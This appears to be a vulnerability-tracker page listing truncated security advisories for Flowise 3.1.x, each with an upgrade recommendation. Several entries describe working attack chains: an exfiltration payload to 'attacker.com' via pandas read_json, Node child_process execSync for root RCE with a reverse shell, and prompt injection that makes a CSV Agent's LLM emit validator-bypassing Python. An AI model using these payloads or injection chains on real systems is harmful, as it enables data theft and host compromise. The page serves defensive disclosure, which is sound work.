Open actionable advisories and recorded vendor fixes. This public package view has no inventory attached and cannot establish whether your deployment is affected. A vendor fix never resolves your finding; verify your installed version and the source guidance.
Open advisories
97 actionable advisories, newest first. Withdrawn advisories and news are excluded. Coverage is partial.
Flowise <= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (validatePythonCodeForDataFrame()) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution -- all through prompt injection via the unauthenticated prediction API. The most impactful bypass is trivial: pd.readjson("http://attacker.com/?d=" + df.tojson()) passes every regex check yet makes an outbound HTTP request carrying the entire dataset. No special configuration is required. Severity Critical (CVSS 3.1: 9.3) -- AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N Affected Versions - Flowise <= 3.1.2 (latest at time of disclosure) - Any deployment with a CSV Agent or Airtable Agent chatflow Details Root Cause The validatePythonCodeForDataFrame() function…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Flowise (packages flowise and flowise-components) in versions <= 3.1.2 contain a sandbox escape in the `vm2/@flowiseai/nodevm` JavaScript sandbox. An authenticated user with access to the `/api/v1/node-custom-function` endpoint can escape the sandbox by supplying attacker-controlled executablePath and args parameters to puppeteer.launch(), which internally invokes child_process.spawn() outside the sandbox boundary. This allows execution of arbitrary OS commands as the Flowise process user (root in the official Docker image) and arbitrary host file disclosure via Chromium's `file://` URL handling. In versions 3.0.8–3.1.2 exploitation requires `ALLOW_BUILTIN_DEP=true`; earlier versions are exploitable by default. Fixed in 3.1.3.
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is in WHITELISTURLS, meaning it requires no authentication. It decrypts the stored credential (containing clientId, clientSecret, refreshtoken), sends a refresh request to the configured OAuth provider, and returns the new accesstoken directly in the response body. Root Cause Whitelist entry at packages/server/src/utils/constants.ts:40. Attack Chain 1. Attacker obtains a credential ID (via Finding 2 / public chatflow leak, or enumeration) 2. Attacker calls POST /api/v1/oauth2-credential/refresh/:credentialId (no auth required) 3. Server decrypts credential, sends refresh request to OAuth provider with user's clientsecret 4. Server returns the new accesstoken in the response to the attacker 5. Attacker uses the token to access the victim's connected service (Google, Microsoft, etc.) Docker Validation POST /api/v1/oauth2-credential/refresh/fake-uuid returns {"message":"Credential not…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
-- ABSTRACT ------------------------------------- Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products: Flowise - Flowise -- VULNERABILITY DETAILS ------------------------ Version tested: 3.1.1 Installer file: https://github.com/FlowiseAI/Flowise (npm install flowise@3.1.1) Platform tested: Ubuntu 25.10 --- A prompt injection sent to a chatflow using a CSV Agent node can cause the LLM to respond with a malicious Python script that bypasses the blocklist validator and executes in an unsandboxed pyodide environment. An attacker can leverage this to execute arbitrary code in the context of the user running the server. Analysis When a user makes a query against a chatflow using the CSV Agent node, the run method of the CSVAgents class is called. This method reads the CSV file, loads a pyodide environment, and uses pandas to extract column names and data types into a dictionary. It then constructs a system prompt using that dictionary and the…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Several organization billing endpoints accept attacker-controlled Stripe identifiers (subscriptionId) without verifying that the identifier belongs to the authenticated user's organization. This allows an authenticated attacker to perform unauthorized Stripe subscription operations on other tenants. As a result, an authenticated user can manipulate the Stripe subscription of another organization by supplying a victim organization's subscriptionId. This allows attackers to perform unauthorized billing operations such as changing subscription plans or modifying seat quantities, resulting in potential financial impact and service disruption. Details Multiple organization billing endpoints accept subscriptionId directly from user input without validating ownership. The server relies on a client-supplied Stripe subscription identifier rather than resolving the subscription from the authenticated user's organization context. File…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The /api/v1/text-to-speech/generate endpoint is whitelisted (requires no authentication) and accepts any chatflowId without checking whether the referenced chatflow is public. An unauthenticated attacker who knows a valid chatflow UUID can abuse that chatflow's TTS credential (OpenAI or ElevenLabs API key) to generate unlimited text-to-speech audio, incurring costs on the chatflow owner's account. Details The TTS generateTextToSpeech controller at packages/server/src/controllers/text-to-speech/index.ts:10-171 is whitelisted at packages/server/src/utils/constants.ts:41: When a chatflowId is provided and the user is not authenticated (no req.user), the controller falls back to fetching the chatflow without workspace scoping: The getChatflowById function at packages/server/src/services/chatflows/index.ts:247-272 fetches any chatflow by ID when workspaceId is not provided: The controller then extracts the TTS provider configuration from the chatflow: This credentialId is then…
Recommended action: Upgrade to 3.1.4 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Flowise Security Audit Report Date: 2026-03-17 Researcher: Dimpal Jadhav (jadhavdimpy@gmail.com) GitHub: https://github.com/Dimpyj1604 Target: FlowiseAI/Flowise (latest main branch) Version: flowise-components@3.1.0 FINDING 1: Missing Authorization on Execution Update Endpoint Severity: HIGH (CVSS ~7.5) Type: CWE-862 (Missing Authorization) File: packages/server/src/routes/executions/index.ts:11 Description: The PUT /api/v1/executions/:id endpoint lacks the checkAnyPermission() middleware that protects all other execution endpoints (GET, DELETE). Any authenticated user — regardless of their assigned permissions — can modify any execution record. Evidence: Impact: Privilege escalation. A low-privileged user with any valid API key can modify execution state, data, and metadata of any execution in their workspace. Could be used to manipulate workflow execution results or inject data. Reproduction:
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Three OAuth2 credential endpoints look up credentials by id alone with no workspaceId filter. Two of these endpoints (callback, refresh) are whitelisted from all authentication. This allows: 1. Cross-workspace credential access — Any authenticated user can initiate OAuth2 flows against credentials belonging to other workspaces. 2. Unauthenticated token injection — An unauthenticated attacker can forge OAuth2 callbacks to overwrite tokens in any credential. 3. Unauthenticated token refresh — An unauthenticated attacker can refresh tokens for any credential. --- Root Cause Vulnerable code: no workspace scoping All three OAuth2 handlers query the Credential table by id only: packages/server/src/routes/oauth2/index.ts:80-82 (authorize) packages/server/src/routes/oauth2/index.ts:183-185 (callback) packages/server/src/routes/oauth2/index.ts:314-316 (refresh) Correct pattern (same codebase) The standard credential service correctly enforces workspace isolation:…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The GET /api/v1/credentials/:id endpoint decrypts stored credential data and returns it in the plainDataObj field of the API response. While a redactCredentialWithPasswordType() function masks fields defined with type: 'password' in their component schema, many credential types store highly sensitive data (database connection URLs with embedded passwords, Google service account JSON with RSA private keys, AWS access keys) in fields defined as type: 'string'. These string-type fields are returned in full plaintext without any redaction. Any authenticated user with credentials:view permission can retrieve the raw secrets of any credential in their workspace by calling this endpoint. Vulnerable Code Service Layer packages/server/src/services/credentials/index.ts, getCredentialById() (line 127): At line 138, the credential's encrypted data is decrypted: At lines 143-146, the decrypted data is attached to the response as plainDataObj: At line 147, only encryptedData is stripped,…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The GET /api/v1/upsert-history endpoint returns the entire server-wide upsert history (response size 100MB) instead of being scoped to the requesting user/tenant/workspace. The response includes sensitive configuration data (e.g., Vector Store settings such as Qdrant Server URL and collection name), resulting in a High severity information disclosure that may enable further targeted attacks. Details - Affected endpoint: GET /api/v1/upsert-history - Observed behavior: The API returns global upsert history for the whole server, indicating missing/insufficient: - Authorization checks (RBAC/user-based access control) - Data scoping (workspace/project/tenant isolation) - Pagination/limits (excessive data exposure and very large responses) - Sensitive data exposure: The returned history contains integration parameters and infrastructure details. Example excerpt from the response: curl 'https://cloud.flowiseai.com/api/v1/upsert-history' -X GET -H 'Host: cloud.flowiseai.com' -H…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
These endpoints accept a client-controlled credential parameter. The server loads credentials by id and uses them directly, without checking whether that credential belongs to the caller’s workspace. If an attacker knows another workspace’s credentialId, they can use that workspace’s OpenAI key. Details Route permissions (assistants:) only check feature access. They do not check credential ownership. The controller passes req.query.credential straight to the service. The service does findOneBy({ id: credentialId }), decrypts the credential, and calls OpenAI APIs. There is no workspaceId check in this flow, so this is an IDOR. Impact - Cross-workspace unauthorized use of stored OpenAI keys. - Unauthorized read/modify/delete of victim vector stores and files. - Direct billing impact on victim OpenAI account. - Multi-tenant boundary violation with practical exploitability. Reproduction steps 1. Set up two workspaces: A (attacker) and B (victim), each with an OpenAI credential.…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Flowise's CSVAgent interpolates an attacker-controlled segment of the csvFile data URI directly into a Python source-code template that is then executed by Pyodide. Because Pyodide is loaded with the default js bridge to globalThis (which on Node.js exposes eval and dynamic import()), the attacker can break out of the Python string literal, hand a JS string to js.eval, dynamically import any Node built-in module (fs, childprocess, …), and execute arbitrary file I/O or OS commands as the Flowise process. The two validator paths around this code (validatePythonCodeForDataFrame and validateCustomReadCSVFunction) are never applied to the bootstrap template. A workspace user with chatflows:create (or any agentflows/chatflows update permission) plants a CSV Agent node with a crafted csvFile. Once the chatflow is exposed via the (whitelisted, public) POST /api/v1/prediction/:id endpoint, any unauthenticated request triggers the host RCE. Details Vulnerable file:…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Flowise on current main allows an authenticated user with documentStores:preview-process permission to trigger the S3 Directory document loader with attacker-controlled S3 object keys. The loader joins each returned S3 key with a temporary directory using path.join(tempDir, key) and writes the object bytes to disk without validating traversal sequences such as ../. Cleanup later removes only the original temporary directory, so files written outside that directory persist on the host filesystem. This yields arbitrary file write with the privileges of the Flowise server process. A related variant exists in the S3File loader when fileProcessingMethod = unstructured (same root cause; its cleanup behavior turns it into a mixed arbitrary write/delete/DoS primitive). Affected component - packages/components/nodes/documentloaders/S3Directory/S3Directory.ts - line 191: filePath = path.join(tempDir, key) (unsanitized) - line 213: recursive mkdirSync creates parent path - line 216:…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Finding — Unauthorized Workspace Variables disclosure via $vars injection (bypasses variables:view) What’s wrong (code locations) - Variables for the active workspace are fetched without checking “variables:view” at this call site: flowise-src/ packages/components/src/utils.ts:932 - Runtime variables are resolved from server environment variables: flowise-src/packages/components/src/utils.ts:976 - $vars is always injected into the code execution sandbox: flowise-src/packages/components/src/utils.ts:1782 - The official Variables API is permission-protected (contrast): flowise-src/packages/server/src/routes/variables/ index.ts:11 Why it is a privilege boundary bypass A user/API key might be denied variables:view (and the /api/v1/variables route enforces it), but they can still: - call /api/v1/node-custom-function (Finding 1) - and have $vars pre-populated with all variables for the workspace, including runtime values from process.env What data is exposed Inside the custom…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The validatePythonCodeForDataFrame blacklist in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide's js module interop. This reopens the RCE paths patched as GHSA-3hjv-c53m-58jj (CSV Agent) and GHSA-v38x-c887-992f (Airtable Agent). Details packages/components/src/pythonCodeValidator.ts gates every call to pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts (lines 147, 198) and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts (line 186). The gate is a regex blacklist: Two design flaws combine into a bypass: 1. JavaScript regex \b is ASCII-only. Word boundaries are computed against the ASCII word class [A-Za-z0-9]. A Unicode letter such as U+1D41A (mathematical bold small a) is treated as a non-word character, so \bclass\b never matches cl𝐚ss. 2. Python 3 (PEP 3131)…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The mitigation shipped for CVE-2025-8943 blocks the -y and --yes flags on npx to stop auto-installation of arbitrary packages. That flag filter works. The environment-variable check in the same patch denies only four variable names by exact string match, and npm reads its configuration directly from npmconfig environment variables. Setting npmconfigyes=true reproduces the --yes behaviour the flag filter is meant to prevent, so npx auto-installs and executes the named package. The mitigation is fully bypassed. This works with the MCP security check enabled (CUSTOMMCPSECURITYCHECK=true). On a default Flowise deployment, which ships with no authentication, the result is unauthenticated remote code execution. Root cause The patch treats this as a flag-filtering problem, but the behaviour gated by --yes is also reachable through npm's environment-based configuration. The same is true for the other permitted interpreters, node and python3. A denylist of variable names cannot…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
In Flowise, DELETE /api/v1/chatflows/:id authorizes requests with checkAnyPermission('chatflows:delete,agentflows:delete'). Possession of either permission is sufficient to reach the delete path. The delete logic does not validate the target resource type, allowing a caller with only agentflows:delete to delete a CHATFLOW, and a caller with only chatflows:delete to delete an AGENTFLOW. details: The delete route accepts either chatflows:delete or agentflows:delete. The subsequent logic only resolves the target record by id and workspaceId, then deletes by id without checking whether the target resource type matches the granted permission domain. As a result, there is no binding between permission scope and flow type: - agentflows:delete can be used to delete CHATFLOW - chatflows:delete can be used to delete AGENTFLOW This breaks the intended RBAC separation between Chatflows and Agentflows. impact: Users authorized to manage only one flow type can delete the other flow type…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
============================================================================= Security Advisory elttam Topic: Flowise RCE via SQLite Record Manager Node Module: FlowiseAI/Flowise Disclosed: 24-Apr-2026 Credits: Alex Brown Affects: FlowiseAI/Flowise 3.1.2 I. Background Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding. Flowise allows users to connect to a local SQLite database for record management of Upsert Vector Store operations. II. Problem Description The database path for the "SQLite Record Manager" node could be overridden using the additionalConfig input, as demonstrated in the following code snippet. https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts <1 The additionalConfig input was user controllable. <2 The…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The POST /api/v1/prediction/:id endpoint — which is unauthenticated (whitelisted in WHITELISTURLS) — accepts an overrideConfig object in the request body. This object is unconditionally spread into the internal flowConfig and flowData objects at two locations in the codebase without checking apiOverrideStatus. This allows an unauthenticated attacker to inject arbitrary properties into the flow execution context of any public chatflow, enabling session hijacking, cross-session data pollution, chat history manipulation, and injection of attacker-controlled values into $flow. template variables consumed by flow nodes. This is distinct from the previously reported overrideConfig vulnerability (GHSA-5cph-wvm9-45gj), which addressed overrideConfig's ability to modify node input parameters via replaceInputsWithConfig(). That function is properly gated behind apiOverrideStatus. The vulnerability reported here is in two separate, ungated spread operations that were not addressed by…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Flowise's HTTP security module (httpSecurity.ts) fails to normalize IPv4-mapped IPv6 addresses (e.g., ::ffff:127.0.0.1, ::ffff:169.254.169.254) before checking them against the deny list. Due to an ipaddr.js kind mismatch (ipv6 vs ipv4), all IPv4 CIDR deny rules are silently skipped for IPv4-mapped IPv6 addresses. An attacker who controls DNS resolution for a hostname can set a AAAA record to ::ffff:<targetipv4, completely bypassing all SSRF protections and accessing internal services, cloud metadata endpoints, and localhost. CWE - CWE-918: Server-Side Request Forgery (SSRF) - CWE-1389: Incorrect Parsing of Numbers with Different Radices (IPv4-mapped IPv6 not normalized to IPv4 before deny list check) Affected Versions - All versions up to and including v3.1.1 (latest main branch as of 2026-04-03) - This includes versions where CVE-2026-31829 was supposedly patched (v3.0.13+) Details Root Cause The isDeniedIP() function in packages/components/src/httpSecurity.ts checks IP…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The CSVAgent node was observed to allow users to write Python code which gets executed via pyodide. The original intent was to allow users to utilise the pandas library for CSV processing. Although there is a denylist that checks for dangerous Python constructs from being passed in, pandas has a readpickle() function that deserialises a pickled payload and this can be leveraged to achieve code execution. Details The affected file is the CSVAgent node, found in: flowise-components/nodes/agents/CSVAgent/CSVAgent.ts. At <1, the customReadCSVFunc is supplied by the user. This input goes through input validation that denies dangerous Python constructs from being passed in: However, by using pandas.readpickle(), an attacker can achieve code execution without hitting any of the denied words. PoC First, generate a pickled payload that performs an OS command (replace the IP and port with your listening IP and port): Run it and note the encoded payload to be used later: 1. In the…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
UPDATE 2026-05-20: Full RCE as root VERIFIED This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2. Verified Exploit Chain 1. Python code injection via base64string = "${base64String}" (CSVAgent.ts line 161) 2. Pyodide js bridge provides access to the host Node.js process 3. process.mainModule.constructor.load('childprocess') loads childprocess (bypasses ESM require restriction) 4. .execSync('CMD') executes arbitrary OS commands as root (PID 1 in container) Working RCE Payload Constraint: No commas allowed in payload — csvFile.split(',') splits on all commas. Metasploit Session Proof Additional Verified Impact Credential Theft: Arbitrary File Read via process.binding('fs').readFileUtf8('/etc/hostname') → cbce3fb352b7 Server DoS — certain native binding calls (spawnsync) crash the Node.js process entirely. CVSS v3.1: 9.9 CRITICAL AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H --- Original Report (below) Vulnerable Code File:…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
A sandbox escape vulnerability in executeJavaScriptCode() allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided nodeVMOptions that override the default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like childprocess and fs. Details The vulnerability is in packages/components/src/utils.ts at line 1755: The spread operator allows any caller to override require.builtin with [""], which permits all Node.js built-in modules including childprocess. Taint 01: Route Registration packages/server/src/routes/node-custom-functions/index.ts (line 8) Taint 02: Controller executeCustomFunction() passes req.body to service — packages/server/src/controllers/nodes/index.ts (line 90) Taint 03: Service executeCustomNodeFunction() loads the customFunction node and calls init() with user-provided javascriptFunction —…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
============================================================================= Security Advisory elttam Topic: Flowise JavaScript Sandbox Escape Module: FlowiseAI/Flowise, FlowiseAI/nodevm Disclosed: 11-Apr-2026 Credits: Luke Jahnke and Alex Brown Affects: FlowiseAI/Flowise 3.1.1, FlowiseAI/nodevm 3.9.25 I. Background Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding. The platform also enables execution of custom JavaScript within a sandboxed environment via the Custom Function Agent Flow node or Custom Tool. By default, this sandbox is powered by patriksimek/vm2, a fork of the patriksimek/vm2 package. II. Problem Description NOTE: This vulnerability still impacts commit dddfb3c90eec900d747790a439bd362a764039cd (the latest commit on the main branch at the time of writing). The original report was incorrectly closed, due to…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
In Flowise, the /api/v1/files route is protected only by the feat:files feature gate and does not enforce checkPermission(...) on either GET or DELETE. As a result, any authenticated API key within the organization, even one with unrelated permissions, can list and delete files belonging to other workspaces in the same organization. details: The /files route is mounted with IdentityManager.checkFeatureByPlan('feat:files') only and has no additional permission middleware. In the controller: - getAllFiles uses only req.user.activeOrganizationId and calls getFilesListFromStorage(activeOrganizationId), which recursively lists files under the organization storage root - deleteFile reads activeWorkspaceId, but only uses it for storage quota bookkeeping; the actual deletion is performed using activeOrganizationId + user-controlled path As a result, the API key’s permissions and activeWorkspaceId are not used to restrict file access. In the local test environment,an API key bound to…
Recommended action: Upgrade to 3.1.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.